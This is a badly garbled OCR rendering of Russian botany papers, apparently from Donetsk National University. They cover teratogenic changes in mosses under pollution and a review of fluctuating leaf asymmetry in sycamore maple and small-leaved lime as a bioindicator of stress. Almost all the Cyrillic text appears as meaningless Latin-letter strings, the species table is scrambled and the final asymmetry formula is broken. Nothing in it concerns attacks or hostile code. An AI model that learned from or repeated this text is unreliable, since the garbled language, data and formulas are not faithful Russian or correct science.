9KOJIOTUH Ouojoruyeckoro ¢akynprera, padotst CHO.

bazy g cucTtemMaTH4ecKoro OLIEHMBAHMS MOXOOOpAa3HbIX HCIIOJIB30BAIM IO
umeromumMmcs paspadotkam Ha kadenape [ 10—13]. Coopbl 06pabaThiBaiu COrIACHO METOJUKAM
reonH()OpMallMOHHOTO MOHMTOPHMHIA, aJalTHUPOBAaHHOIO IO HKOJIOr0-00TaHUYECKUM
xapakrepuctukam [14, 15]. OUTOMHANKAIMOHHBIA 3KCIIEPUMEHT BBIOpaH Kak MOIEIbHBIN
JUISL  JIGMOHCTpAIlMd BOIIPOCOB  JKOJIOTMYECKOW OoTaHWMkM B peruoHe [16—19] musa
UCTOJb30BaHUSI B  oOpa3zoBaTenbHOU gesrenbHocTH [20] © oTpaOOTKM  Hay4yHO-
TEXHOJIOTHYECKUX TpueMoB ¢utomonuTopunra B JlonbOacce [21, 22], a Takxke B
NPOJODKEHUH YK€ TIOJIyU€HHBIX paHee JaHHBIX 110 BOIpocaM HJEHTU(UKALUU
Moponoruueckux tepat Opuoduonton Jlonbacca [23].

B cucreme o0yueHuss HaMH peKOMEHJOBAH METO]l HaIJIsHO-CPAaBHUTEIbHBIX TPEHJIOB
o oOpasiaM B KaTErOpHH «OMBIT» — «KOHTPOJIb». [lomyueHHble TakuM 00pa3oM OTTHUCKH,
CHUMKH, (oTomMarepuaibl, repOapHble O00paslbl SABISIOTCS OOBEKTOM  METOAMKO-
JUIaKTUYECKOTO aHallM3a W HarjasgHoro cpaBHeHMs. OOyyaroniye MOTyT AMarHOCTHUPOBATh
9KOTOIBI IO ONHUCATEIbHBIM CXE€MaM U JKOJIOT0-3BOJIOLMOHHBIM 3aKOHOMEPHOCTSIM,
HampuMep, AJs BapUaHTOB CTPOEHUS JIMCTOBOTO ammapaTa KOHKPETHOIO BHUJA COCTaBJICHBI
KapTOYKHM ONMMCAaHUS U KPUTEPUU OLEHKHU 1o (oTomaTtepuanam (puc. 1), a Takke MOXKHO
BBIIETIUTH CONPSIKEHHBIE TPYMIbl 0ecXpoduiIbHBIX (HOPM, K B 33€pKKE CTPOCHHUS, WU IO
Ka4yecTBY BEreTaTHMBHOM IPYKHOCTH Ui OTAEIBHOIO BHMJA WM TaKCOHOcHenupuyeckoi
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rpymmbl (puc. 2). COBOKYIHOCTh BCEX HCIOJNBb3YyEeMbIX HAaMH METOJIOB OTPaXKaeTCs B
MOITOTOBJICHHOM JIOKJIaJie 0 Opropa3Ho00pa3uu U )KU3HEHHBIM Gopmam (puc. 3).

B
Puc. 1 — T'etepomopdusm HCTOBOM MmIacTUHKK pojaa Brachythecium B HopManbHBIX
ycnoBusix (A) u neiictBus ¢pakropos ctpecca (b, B)

doToMaTepuall crenuaIbHOM 00pa3oM MpejAcTaBieH B (opMaTe MaKpOCHEMKH IS
JIETAIbHOTO M3Y4YEeHHs] CUCTEMbl KOMMYHUKAIIMM B JIUCTOBOM arapare: TpaHchopmanus
JKUJIKOBAHUS, THJIPOU3OJISAIMS KPAaeBbIX TKaHEH, rUApoMOp(HU3aIis HEHTPAIbHbBIX >KUJIOK,
HEKPOTUYECKHUE JIOKAJIbHbIE 00Pa30BaHUS U Jp.
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E
Puc. 2 — ConpsikeHHOCTh CHCTEMBI aHOMAJIBLHOTO CTpoeHus rameroduToB Mnium (A-B) u
ero cnopodutoB (I'-E) cOOTBETCTBEHHO TPEHIY TEXHOTEHHOW HATPY3KH
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CMEHbI XXU3HEHHbIX CTPATEMM BUOOB MOXOOBPA3HbIX

BEFETATUBHASA CTPATEMMsA PACTEHUN-UHOUKATOPOB

Puc. 1. Tunu posetku Capsella bursa-pastoris (L.) Medic.:
a — heteris (H), 6 — rhomboidea (R), # — tenuis (T), 2— simplex (S)

¥ | M

IT3MeHEeHI B ITHIEKCOR IIKATIOOOPA3OBAHILT
B ITR [ AaN | I17s | IASta 2
i Kareroprot rpoSHELX TUTomaxeit SIpareryot
PIL TTP: LA
A| 5| B|A|F| B A BlA| 5| B
Cichornam imivbus L. -2 - -1 - - | -1 - - - CSR — C-S
Tragopogor mcjor Jacq. - | -1 - [ - [ [ -|/\[B3 [ 1] - NCIR— CSRS
(TI:"TZZK og.:;r i inodorunmn a1 _ 2 |-+ | 2]+ ~ N g
Tanacenan vulgare L -1 - - - [ -1 - | -1 -1 [ -1]|-1] CSR—C-S
Reseda lurea L - |+ - | +1 2 K1 [n CSR — S-R
Plcnirago mcajor 1. - | +1 -1 | -1 -1 |+ -1 | -1 C-R
Berreroca incanca (L) DC -1 | +1 -1 - -3 | - - - - |~ S
Echitnn vulgare L - - =] - - -1 | +1 C-R— CSR
Dcanicus carora L. - - -+ o - -1 - - = C-S
\V)

Puc. 3 — UndopmanmonHsle crnaiipl n3ydeHus MoxooOpa3HbiX B JlonOacce

B crcke Tem 3K07I0r0-60TaHUYECKOTO CONEPKAHUS TTPU 00YUYEHUN MOKEM OTMETHTh
CIIEYIOIMEe HAIPABJICHUS, KOTOPbIE BHEAPSIOTCS B MpoOLecce MPOPabOTKU TEOPETHUECKHIX
3HAHHI:

— MOp(OJIOTUS PACTEHUI Pa3HBIX CUCTEMATUYECKUX TPy,

— DBOJTFOIIMOHHBIC TPEH/IBI B YCIIOBHSIX (PAaKTOPOB CTpeEcca,

— crcTeMa BhDKHMBAHUS BHJIA B HECTAOMIIBHBIX YCIOBUSX TEOXUMHUYECKOTO 3arpsS3HEHHS
OKOJIOTHYECKUX CHCTEM;
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— YKU3HEHHBIE POpMBI (MX pazHOOOpa3ue U TpaHchOopMaIlysi) PaCTCHUI B 3aBUCUMOCTH
oT (hakTOpoB cpenbl (ypOaHU3aIusl, HHTyCTPUATHA3AIINS);

— JIMarHOCTHYECKHE MPHU3HAKK B SKOJOTMU U CHCTEMATUKE PACTEHHH IPH IOJIEBOM
IKCIIEPUMEHTE;

— Y3JIOBBIE CHUCTEMbI KPUTHYECKUX TAKCOHOB TPU H3YyYCHHUU HOBBIX TEPPUTOPHH IO
npu3HakaM (puTOpasHooOpas3us (HarmpuMmep, Ak TEXHOTCHHBIX YKOTOIOB);

— 00CyXJIeHHE CIIEHAPHEB Pa3BUTHUS (PUTOCHCTEM B 3aBHCHMOCTU OT CYIICCTBYIOIIUX
TEHJACHIIUN, — CUCTEMA SKOJIOTHIECKOTO TPOTHO3HPOBAHHUS;

— TMPeMJIOKEHHWE AalTOPUTMa 10 BHEAPEHUI0O MHUKPOCTPYKTYP B  PECypCHBIC
(nHpOPMAITMOHHBIC) TEXHOJIOTHUH MTPOTrpaMMbl (PUTOMHIUKAITUH;

— 0TpaboTKa CIIOCOOOB MOIYYCHHUS U MPEACTABICHUS TAHHBIX 10 CTPOCHUIO PACTEHUH B
CYIIECTBYIOIIUX YKOJIOTUUECKUX YCIOBHSX;

— oTOOp HambOJIee MPHUCIIOCOOICHHBIX YXKU3HEHHBIX (DOPM WIIH BUIOB JJIS TIPOBEIACHHUS
AKTUBHOT'O 3KOJIOTHYECKOTO MOHUTOPHHTA;

— BBIJICJICHUE YSI3BUMBIX TaKCOHOB W pa3padOTKa MEp IO MX OXPaHE U MOIICPKAHUIO
pazHOOOpa3us;

— MOJTOTOBKA MJUTFOCTPATUBHOTO MaTepuaia (KajaeHaapH, 00J10KkH, poTorpadudecKkue
OTKPBITKH, TEMaTHYECKHEe OOEPTKH) TI0 WMEIMUMCS JaHHBIM JOKYMEHTAJIBHOTO
(UKCHpPOBaHMSI CTPOCHUS PACTUTEIHHOIO MaTepuaja PEJAKOW YacTOThI BCTPEUAEMOCTH B
MPUPOJIHBIX Cpeax MOBCEIHEBHOM XKU3HH YCIIOBEKa,

— oOCyXJIeHHe Ha CeMHHapaX, KPYIJBIX CTOJIaX, OpYyrux QopMmax 3acenaHus
CTY/ZICHYECKOTO HAay4YHOTO oOimecTBa Kadeapbl OOTaHUKM W IKoJorud JloHEeIKoro
HAI[MOHAJILHOTO YHHBEPCUTETa HAWOOJee SPKUX U BBIJAIONIMXCS JTOCTIKEHUH, HAXOJOK,
M300peTeHui.

Takum o6pa3om, B paboTe MpUBEACHBI TPUMEPHI caydatoterocst B Jlondacce mpoiiecca
Mopororuueckoro TepaToreHesa y MOXOOOpa3HBIX, IWAarHOCTUPYEMOTO BCJE/ICTBUE
MEHSIOIUXCS YCIIOBHIA Cpefibl, KaK MPABWIIO MOBBIMICHHS aHTPOTIOTEHHOTO BO3JICHCTBUS H
(dakTopoB 3arps3HeHus. HakomaeHHBIH MIUTFOCTPATUBHBIM M KOJUICKIIMOHHBIA MaTepHal
SBIISIETCS YaCThIO OOYYAroOIero Iporecca CTYASHTOB Kadeapsl OOTaHWKA M OKOJIOTHH
JIOHEeIKOTo HAIIMOHATIBHOTO YHUBEPCUTETA.
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YIKS77.3

®JIYKTYUAPYIOIIASI ACHMMETPHSA JUCTA IPEBECHBIX PACTEHUIA,
KAK IIOKA3ATEJIb YCTOMYUBOCTHU OPTAHU3MOB K JEMCTBUIO
IKOJOI'MYECKHUX ®PAKTOPOB

Komenko /I.A., Boakoesa E.C., @eooposa E.B.
Hayunwtit pykoeooumens: Kopuuenko B.O. kano.ouon.nayk, cmapuiuii npenooasame’sp
oy BIIO «/[OHHY»

Annomayusa: B manHOW paboTe MpoBeAeH 0030p MCTOYHHKOB MH(MOPMALHUH IO OIEHKE (QIIYKTYHpYIOIIEH
aCHMMETpUM, KaK II0Ka3aTeJIl0 yCTOMYMBOCTH pPACTUTENBHOTO OpraHM3Ma K JAeicTBHIO (HaKTOpoOB
AQHTPONIOTCHHOTO MPOUCXOXKACHHUS.

Knrouesvie crosa.: pacteHusi, GuyKTyupyroLas aCHMMeTpHsl, OHOMHIUKALHS, aHTPOIIOTeHHAS HArpy3Ka.

BBenenue. OreHKa COCTOSIHUSI OKPYXKAOIIEH Cpelbl U B I[EIOM MOHHUTOPHHIOBBIC
UCCIICIOBaHUsT  OMOJOTMYECKUX CHUCTEM B  YCJIOBHSX  AHTPONOIEHHBIX  HArpy30kK
MIPOMBIIUIEHHOTO Topoja JIoHelKa, SBIsSIOTCA 0000 aKTyaabHBIMU B HacTosIee Bpems [1-
6]. 3HauKUTENBHBII HHTEPEC MPEICTABISICT U3YYCHHE COCTOSIHUS, YCTOMYMBOCTH M JTHHAMHUKH
NOMYJISIUA  pacTeHuid. PacTurenbHble OOBEKTHI IMO3BOJSIOT OIEHHTh BECh KOMILIEKC
AQHTPOITOTECHHBIX BO3JCHCTBHI XapaKTepHBIX I JaHHON Tepputopuu [7]. Bcememcrsue
NPUKPEIUIEHHOTO 00pasa KHU3HH MPOCICIKHBACTCS 3aBHCUMOCTh MEXIY KOHKPETHBIM
JIOKaJIbHBIM MECTOM OOMTAHHUS PACTUTEIBHBIX COOOIIECTB M UX COCTOSTHHEM. B cBsi3u ¢ 3THM
emé ¢ 1990-x T0o10B B KauecTBE OMOUHANKATOPOB COCTOSIHUSL OKPYXKAIOIIEH Cpeibl aKTUBHO
UCIIOJIb3YIOTCS IPEBECHBIC PACTEHUS U B YACTHOCTH JIMCTOBBIC IJIACTHHBI HEKOTOPBIX BUJIOB:
Oepé3bl moBucioit [8], kiéna siBopa [9], knéna octponuctHoro [10], Tonmons uéproro [11],
JUIBI MeNKoMCTHOM [12-13] u my6a ueperrdaroro [14]. JIucToBbIE IIIACTUHBI UCTIONIB3YIOTCS
OMONIOTaMHu B CBSI3M C TEM, YTO OTPAXKAIOT OTBETHYIO PEaKIUI0 OpPTaHM3Ma Ha U3MEHEHHE
(hakTOpOB CpebI.

SIBneHue cUMMeTpuM (aCMMMETPHH) Y JKHBBIX OPraHMU3MOB SIBJISICTCS OJHOW W3
KJIFOUEBBIX XapaKTEPUCTUK BO B3aUMOCBS3SX C (haKTOpaMH OKPYXKAOIIeW Cpelbl — MpU
pPaBHOMEPHOM BO3JICHCTBUU HAONIO/AaeTCs JydeBas WM OwiaTepanbHas cuMmmetpus [14].
OnHaKO KUBBIE CUCTEMbI HE SBJSIFOTCS )KECTKHMHU, MOATOMY HAOIIOAIOTCS ONpEIe/ICHHbIC
OTKJIOHEHUS OT HOpMbI. K TakoMy THIy HW3MEHEHHH OTHOCUTCS (QIIYKTYHUPYIOIIas
ACHMMETpUs, TPOSBIISIONIASACS B HE3HAUUTEIBHBIX M CIYYaiHbIX OTKJIOHEHHUSX OT CTPOTOM
OunarepaibHON CHMMETPUHU 00BeKTOB. Ha 3TOM NpHHIIUIIE U TOCTPOCH OMOWHIUKAIIMOHHBIH
METOJI, Ha OCHOBE M3YUCHHS JINCTOBBIX TUIACTUHOK JAPEBECHBIX PACTCHUI.

Llenp HacTOsmIel pabOTHI: M3yYeHHE COBPEMEHHBIX MCTOYHHMKOB MH(OpManuu 1o
BJIMSHUIO AHTPOIIOTCHHOW HArpy3Kd Ha (QIYKTyHPYIOIIY0 aCHMMETPHIO JIMCTOBBIX
TUTACTUHOK JAPEBECHBIX PACTCHUH, KaK MIOKA3aTeI0 YCTOWYMBOCTH PACTEHHUHI K CTPECCY.

3amaun:

1. M3yunth BONPOC aCMMMETPUU B OHMOJIOTUM U JaTh TOHATHE QIIYKTYHPYIOIICH
ACHMMETpPHUH, HAa OCHOBE JINTEPATYPHBIX HCTOUHHKOB.

2. TlpoBect 0030p METOMUK W TMOJYYEHHBIX PE3YJITATOB IO MPUMEHEHUIO
GuryKTyHpYyIOIIelH aCHMMETPUH IJIsl OLIEHKH 3arpsi3HEHUs] OKPYKAIoIei Cpeibl U cTpecca y
PaCTHTENBHBIX 00BEKTOB.

ACUMMETPHIO pa3JeNisAloT Ha TpPU BHJA: HampaBlieHHas, (IyKkTywpyoomas u
aHTUCHUMMeTpHs. M3 3TUX BUIOB TOJNBKO Oyaroaaps GpIyKTyHPYIOIIEH aCHMMETPHH MOYKHO
NOJY4UTh UHPOpPMAIHIO 00 YpOBHE cTpecca, u3ydaeMoro pactenus. [loaTomy mpexae yem
NPUCTYNUTh K KOJMYECTBCHHOW OIEHKE HECTAOMIIBHOCTH pa3BUTHS OpraHu3Ma 1o
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MoKazaressiM OujaTepaibHBIX MPU3HAKOB, HEOOXOIUMO YOETUTHhCS BO (PIYKTYyHPYIOIIEM
XapaKkTepe aCHMMETPHH KaXXJI0r0 NMpU3HaKa W3 BbIOpaHHOTrO Habopa [7]. Paznuuums mexmy
HampaBlIeHHON M QUIYKTyHpyIOIIed acuMMETpHell 3akioyaeTcsi B TOM, UYTO 3HAYCHHUE
MpU3HAKA Ha OJTHOW M3 CTOPOH OOJIbIIE, YeM Ha JPYroil. AHTUCUMMETPHS B CBOIO OYepeib
UMEEeT MEeCTO, KOTJa IMPOSIBICHWE aCUMMETPHUH IMpHU3HAKa SIBISIETCS HOPMOM, MPU 3TOM HE
UMeeT 3HAYeHHUs, B KaKyl0 CTOPOHY HANpaBlICHO pa3Indhe MEXIy CTOPOHAMHU.
CraTucTudeckue MCCiel0BaHus MOKa3bIBAIOT, YTO YaCTOTHl OTKJIOHSIOTCS OT HOPMalIbHOIO
pacmpezielieHusl B CTOPOHY OTPHLATEIBHOr0 dKciecca win oumonansHoctu [7]. Tak kak
JIMCTBS 110 CBOCH MPHUPO/IE SIBJIAIOTCS HanOo0JIee YyBCTBUTEIBHBIMU K YCIIOBHSIM OKPYKArOIei
Cpelbl OpraHaMH pPACTEHUM, MOJ BIUSHUEM pa3IUYHbIX ()AKTOPOB B HUX IMPOUCXOJIAT
MOp(OJIOTHYECKUE U3MEHEHHS, UMEHHO IO 3TOW NMPUYMHE OHU HCHOJB3YIOTCS MHOTUMH
aBTOpaMU JJIsl UCCIICIOBAHMIA.

H3menenne Mop(oIOTHH JINCTHEB OAHOTO ¥ TOTO e BHJIA CBA3aHO HIMEHHO CO CMEHOM
OKpPYKaIOIIUX YCJIOBUN ero mpouspactanus. Ha pasBuBaromuecsi JUCThS BO3ACHCTBYIOT
(akTOpHl BHEIIHEH Cpebl, OKAa3bIBAIOIIME BIMSHHE HA CTAHOBJIEHHE OCOOCHHOCTEH WHX
OKOHYATEIbHOU CTPYKTYpHI U (hopMmbl [15]. OnpeneneHre BIUAHUS YCIOBHIT TPOM3PACTAHHS
pacteHuii Ha (opMy HX JHCTBEB KpaiHE TPYIHO MOANAETCS HEMOCPEICTBEHHOMY
HKCIIEPUMEHTAILHOMY HCCIEAOBAHUIO, HO MOXET OBITh YYTEHO KOCBEHHBIM ITyTEM,
MOCpesICTBOM cOopa MaTrepuasa B MECTaX C PA3IMYHBIMH yCIOBUSIMHU.

[Ipobnema cummeTpuu  OUOJIIOTUYECKUX  OOBEKTOB  SIBISIETCA  OJNHOM U3
dyHnaMeHTAIBHBIX B CcOBpeMeHHO# Ouonoruu [16]. Cummerpusi mopdoioruyeckoit
CTPYKTYpBI — TOBTOPEHHE YacTel B Pa3IMYHbIX MOJIOKEHUSIX U KOHPUrypauusx. [Iposeputs
PaBEHCTBO OOBEKTOB MIJIM YACTEH CUCTEMBI MOYKHO C IIOMOIIIBIO HEKOTOPOTO MPEOOpa3OBaAHMS,
KOTOpOE COBMEIIAET paBHbIe O0BEKTHI WIIM YaCTH OAHOIO M TOTO K€ 00BEKTa, UYTO O3HAYAET:
00BEKTHl MO0 WHBAPUAHTHBI OTHOCUTEIHLHO HEKOTOPHIX MpeoOpa3oBaHUU MPOCTPAHCTBA,
60 Het [17]. Cummerpusi 00beKTa MOKET OBITh OXapaKTePH30BaHA COBOKYITHOCTHIO BCEX
ero npeoOpa3oBaHU CUMMETPUH, TO €CTh MPpeo0pa30BaHMil, KOTOPBIE OCTABISAIOT OOBEKT 6€3
u3MeHeHHs.  Bo3HMKHOBeHHMEe ~ OmiarepaibHON  CUMMETPUM  SIBISI€TCS  BaXKHBIM
HBOJIIOIMOHHBIM  JIOCTHXKCHHWEM,  PACKPHIBAIOIIUM  OONBIIME  BO3MOXKHOCTH ISt
QG QepeHIIMPOBKH OpraHu3Ma.

[Ton daykTyupyromeil acuMMeTpuell MOHMMAIOT HE3HAUUTENbHbIE M CIydalHbIE,
HEeHalpaBJIeHHbIE OTKJIOHEHHUS OT CTPOroi CUMMETpHUN OMO00OBEKTOB, HA MAKPOCKOTTNYECKOM
YPOBHE JaHHBIA BHUJ HCIOJNB3YIOT B KadecTBE MEphl B OIICHKE CTaOWIIBHOCTH Pa3BUTHS
OpraHu3Ma,ee YpOBEHb OKa3bIBAa€TCs MMHHUMAJIbHBIM IPU ONTHMAJIbHBIX YCIOBUSAX CPEIbl U
HecTienn(UIecKd BO3pacTaeT MpH JIIOOBIX CTPECCOBBIX BO3JCHCTBUSAX. B acummerpun
CUUTAIOT, 4TO (paykTynpyromas acummerpus (PA) 3To oauH U3 MOP(POIOrHYECKHX METOIOB
OLICHKM COCTOSIHMSI W JUHAMHKM OHOCHCTEM, a caM [oKaszareiab (IyKTyupyrouei
aCHMMETPUH — HHJIEKCOM CTa0MIBHOCTH pa3BUTHs opranusma [17].

daykryupylomas acummerpusi Acer pseudoplatanus L.

['myxoB ¢ coaBropamu [9] ouenuBas mposiBieHus @A OunarepaibHBIX MPHU3HAKOB
JMCTOBOU TIaCTHHKU Acer pseudoplatanus L. 6asupoBanuichk Ha MaTepuaie, COOpaHHOM C
JIepEBbEB  BJOJIb  NPUAOPOXKHBIX  TEPPUTOPHM  aBTOMArucTpajed C  pasiIuyHON
WHTCHCUBHOCTBIO JIBIDKCHHS aBTOTpaHcropTa. Jlamee MbI NMPHBOAMM METOIHMKY cOopa,
00pabOTKM M CTAaTUCTMYECKOIO aHalu3a MEPBUYHBIX JAHHBIX COIJIACHO JIMTEPATypHOMY
uctouHuky [9]. COOp IMCThEB OCYIECTBISAICS C HUXKHEHW YaCTH KPOHBI IPEBECHBIX pACTEHUI
3pesioi cTajuu TreHepaTUBHOro nepuoja. [1o MHTEHCHMBHOCTH JBMXKEHHUSI aBTOTPAaHCIOPTa
HCCIIeTyeMbIe TePPUTOPHUH pactipeaessuid mo Tpém rpamamusam: [ — 1200-1300 ex./gac; 11 —
700-800 en./gac; /11 — 600-700 en./gac. OmHUM U3 KIIFOUEBBIX HAMPABIEHUH B UCCIEIOBAHUN
GbayKTyHpylomen acuMMETpUH  OMOOOBEKTOB  SIBJISETCS  BBIOOp,  HACHTH(HUKAIMS
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OunaTepaabHBIX MPU3HAKOB U BepuUKaLUA UX QIYKTYHPYIOIIETO XapakTepa y OpraHu3MoB
pa3ubix BuaoB [9]. Jlnst aHanmu3a ObLiM BBIOpaHBI HapaMeTphl JICBOM M MPaBOW CTOPOHBI
nucToBO# miacTuHKY (puc. 1). TIpu vcciie1oBaHUH YTTIOBBIX IPU3HAKOB JIMCTOBOMN IIACTUHKU
M3MEPSUTUCH CEKTOPA, IPUMBIKAIONIUE K BEPIIMHE YTJIa CO CTOPOHOM, HE mpeBbiatomei 10 —
15 % ot mnunbl *Kuiok. Mcnonp30BaHue B UCCIENOBAaHUAX (PIYKTYHPYIOIIEH acUMMETPUN
01000OBEKTOB TOJIHKO OJHOTO NMPH3HAKA HE TIO3BOJISIET JEJIaTh HA/ICKHBIC BBIBOIBI, IOITOMY
MPEANOYTUTEIbHO  HCIIOJIb30BAHUE MHOXECTBa NIpu3HakoB. [lpum 3TOM  KaKIblif
JOTIOTHUTEBHBIN TMpPU3HAK J00aBISET OJIHY CTENeHb CBOOOABI K OLEHKE YpPOBHS
HECTa0MIBHOCTH pa3Butus. [Ipexxae dYeM MPHUCTYNUTh K KOJMYECTBEHHOM OLICHKE
HECTaOUJIPHOCTH pPAa3BUTUS OpraHu3Ma IO IIOKa3aTeiasiM OuiaTepajabHBIX MPU3HAKOB,
HE00X0AUMO yOeIUTHCS BO (QIIYKTYUPYIOIIEM XapaKTepe aCHMMETPUHN KaXKI0TO IPU3HAKA U3
BbIOpanHOro Hadopa [9].

Puc. 1. — MeToauka oleHKH OnIaTepaibHbIX MPU3HAKOB JIMCTOBOM IIACTHHKH
Acer pseudoplatanus (cormacao padote [9])

OOo3Hauenus: 1 — PacCTOIHUC MCEXKAY TOYKaMH Ha4dalla WU OKOHYAHHA HepBOfI KUIKHU
(HYMepaI_II/I}O " U3MCPCHUS JKUJIOK IPOBOANIIN, HAYHNHAsA C 0a3aJbHOM YacTH JIUCTOBOM HJ'IaCTI/IHKI/I); 2
— pacCTOAHUEC MCKAY TOYKaAaMH Ha4Yajla 1 OKOHYaHHUA BTOpOI7[ KHIIKHU, 3- PacCTOAHUEC MEXKIY TOUKaAMU
OKOHYaHWMs IEPBOM U BTOPOH JKUJIOK; 4 — paccTOSHUE MEXAY TOUKaMH OKOHYaHHS BTOPOH U cpeHeit
KHIIOK; 5 - pacCToOdHUC OT CEPCANHBI CpGHHefI JKWIIKH OO0 Kpas JIMCTOBOH IIJTACTUHKH (I/ISMepGHI/IH
MIPOBOAMIIN TI0 JIMHUM, MEPIEHINKYISAPHON CpeAaHel Kuike); 6 — yros MexJy MepBOod U BTOPOH
JKAJIKaMU; 7 — yroJl M1y BTOPOU U CpeJTHEN KUJIKaMHU.

st onipenenieHus Xxapaktepa 0OHapyKEHHON aCUMMETPUM JTUCTOBOM TJIACTUHKH T10
aHAIM3UPYEMbIM TIapaMeTpaM aBTOpPaMH IMPOBEACH TECT Ha 3HAUYMMOCTh Kod(dduimenrta
AKCIECCAa U CPAaBHEHUE MOJYYECHHBIX MU3MEPEHUI HA MPABOW U JIEBOW CTOPOHE, BHIUHUCICHHUE
KPUTHYECKUX 3HAYCHUM.

JlanpHeHmmMM 3TaroM aHajiu3a JOJDKHA OBITh MPOBEpPKA 3aBUCHUMOCTH BEIMYUHBI
aCUMMETpPHUU TpH3HAKa OT BEIWYHHBI MPHU3HAKA HA 00EUX CTOPOHAX JTUCTOBOM IUIACTHHKH.
[Ipyn Hanmuuum 5TOM 3aBHCHUMOCTH C YBEJIMYEHHEM pa3Mepa JIMCTOBOW IUIACTUHKU MOXET
YBEJIUYMBAThLCS U BeindrHa acuMMmeTpud [18]. Eciiu monoxxurenbHas CBsi3b IPUCYTCTBYET, B
JAIbHENIIEM aHAIN3€ HYXKHO HUCITOJIB30BaTh IPSIMOE HOPMUPOBAHUE ACUMMETPUH HA CpEJTHEE
3HaueHue pasmepa npusHaka (L+R)/2 unm Ha cymmapHOe 3Ha4YeHHE MpPU3HAKAa HA 00eHX
croporax (L+R) [18]. TlonmydenHoe 3Ha4YeHHWE MOIYJS PA3HOCTH MEXKAY 3HAYCHUIMHU
MpU3HAKa Ha JIEBOW W MPaBOM CTOPOHE NN HAa CyMMapHOE 3HaYeHHe MPU3HaKa Ha 00enx
CTOPOHAx JIMCTOBOW IUIACTUHKHU. Pacdy€r uHTErpaJbHOrO 3HadeHHsl (QIyKTyupyromen
ACMMMETPHUH MPOBOAMIIH 110 popmyiiam [9]:

Y=|L-R|/(L+R);
Z=(Y1+Y2+...+Yn)/N;
X=Z/n=(Z1+722+...+7Zn)/n,
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rae Y — mokasaTellb, paCCUMTaHHBIA JUIsl KaKIOro NPU3HAKA KaK Pa3iInyue MEXIY
IIPaBOM U JIEBOM CTOPOHAMM JIMCTOBOM IIJIACTUHKH, Z — OTHOCHUTEIIBHOE CPEIHEE pas3iIindue
MEXy IPU3HAKAMU JJI KaXA0ro JucTa, N — KOJIM4eCTBO IPU3HAKOB, X — MHTETPAJIbHBIN
II0Ka3aTeNlb ACUMMETPHH, N — KOJIMYECTBO JINCTHEB

B pesynbraTe mpoBeNeHHBIX HCCICIOBAHUI, 10 METOANKE ONMUCAaHHOH B padote [9],
aBTOPBl YCTAaHOBMJIM, YTO IIPU YBEJIMYECHHUHM AHTPOIIOICHHOW HArpy3Kd Ha TEPPUTOPUH,
Habmroaaercst U pocT nokazatens @A nuCTOBOM MIACTUHKHU SBOpA.

OIyKTYUPYIOIIUH XapaKTep aCUMMETPUU OTMEYEH IS CIICAYIOMINX OuIaTepaabHbIX
IIPU3HAKOB JIMCTOBOM IIJIACTUHKH:

1. PaccTosiHue Mex 1y TOUKaMu Hayalla 1 OKOHYaHUs BTOPOH KUIIKH.

2. PaccTosiHMe MeX 1y TOUKaMU OKOHYaHUS IEPBOI U BTOPOH JKUJIOK.

3. PaccTosiHME MEXly TOUKaMU OKOHYaHMsI BTOPOM U CPEAHEN KUJIOK.

4. Yroa Mexay NepBOol M BTOPOW >KMIKAMHU (BHOCUT MAaKCHUMaJIbHBIM BKJIaJ B
pe3yabTUpYIOLIee 3HaUCHUE).

5. Yroa mexay BTOpOU U CPETHEN KUIIKAMH.

daykryupyromasi acummerpus Tilia cordata Mill

OpxHuM 13 HanboJiee YyBCTBUTEIBHBIX K aHTPOIIOTEHHOMY 3arpsi3HEHHIO APEBECHBIX
BUJIOB SIBJISIETCS JIMIA CEpILENUCTHAsA, KOTOpas LIMPOKO IpPECTaBlIeHa B jAeHApodiope
rOpOJIOB IOr0-BOCTOKA CTENHOW 30HbI. CUMTaeTcsi, YTO NpPU YBEJIWYEHUM 3arpsA3HEHUs
OKpY’KaloIllel cpeAbl MPOMBILUIEHHBIX TOPOJOB, NPOMCXOAWT YMEHBUICHHE JIMHEHHBIX
pa3MepoB W IUIOIIAAN JHCTOBOW TUIACTUHKH JIMIBI MenKoaucTHON [12, 13]. YMmeHblieHue
MOp(hOMETPUYECKHUX MTapaMeTpOB JUCTbeB 1. cordata B yCIOBUSIX YpOOIKOCHCTEMBI MOXKHO
paccMaTpuBaTh KaK Hecenn(puyeckyro aJlanTHBHYIO PEAKIHI0 paCTEHUI, HAapaBJICHHYIO Ha
YMEHBIIEHUE IUIOIIAAA KOHTAKTa C 3arPSA3HEHHON CPENOU, ONTUMHU3ALUIO BOJHOIO PEKUMA,
a TaKXKe HA CHIWIKEHUE U3JIEPIKEK BEIIECTBEHHO-DHEPIreTUYECKUX PECYPCOB HA NEPECTPONKY
3aILUTHBIX MEXAHU3MOB.

[Tomumo MopdomMeTpuueckoil OLIeHKH JTUCTOBOM IUIACTUHKU, UCHOJB3YIOT, U METOJ]
oueHkH DA KOTOpBIN IPEICTABIIEH HA PUCYHKE 2.

(

L
Puc. 2. — Meronuka olleHKH OUNaTepaibHBIX MPU3HAKOB JHCTOBOU MIACTHHKU
Tilia cordata Mill (cormacuo pa6ote [19])
O6o3nauenHust: 1 — mmpuHa MOJTOBUHKY JUCTA (JINCT CKIIAIBIBAIOT IIOTI0JIaM, TIOTOM pa3ruobaroT
1 110 00pa30BaBIICHCS CKIIAIKE IPOBOIAT H3MEPEHHMS ); 2 — IUTHHA BTOPOH KHJIKH OT OCHOBAHUS JIHCTA;
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3 — paccTosiHUE MEX/Ty OCHOBaHHUSIMU IIEPBOI1 1 BTOPOH )KMIIOK; 4 — pacCTOSIHAE MEXKIY KOHIIAMHU 3THX
JKUIOK; 5 — Yrojl MeX/y TJIJaBHOM U BTOPOUM OT OCHOBaHUS KUIKAMHU.

W3 kaxgoro 6moromna uccienyroT He mMeHee 100 nuctheB. J{s OlEHKH BETHYUHBI
GIyKTYHpYyIOIIel aCHMMETPHH JIMCTOBOM IJIaCTUHKHU Juibl MeakoauctHoi (Tilia cordata)
WCIOJIL3YIOT CTaHIAPTHBIM HAOOP U3 5 MOPQOIOTHYECKUX MPU3HAKOB, XapPaKTEPU3YIOIINX
cTabWIBHOCTH (popMOOOpazoBanus jucTa B oHToreHeze. KoadduumeHt ¢uykryupyromei
ACHMMETPHUU OIpeNessaioT 1o dopMmyle, npeaiokenHoir B. M. 3axapoBeiM mjiss Oepesbl
MOBHCJION (JropaboTano coracHo pabore [20]).

2
52 = 2(dir — Ma)
d n—1
My = 2r g o A=)
rae, My = — CpejiHee pasnMiHe MERKAY CTOPOHAMM; dj_p == "= — pasmriue

3HAYCHHI TPU3HAKOB Mex 1y JieBoii (1) u mpaBoii (I) cTopoHamH; N — YKCIIO BHIOOPOK.

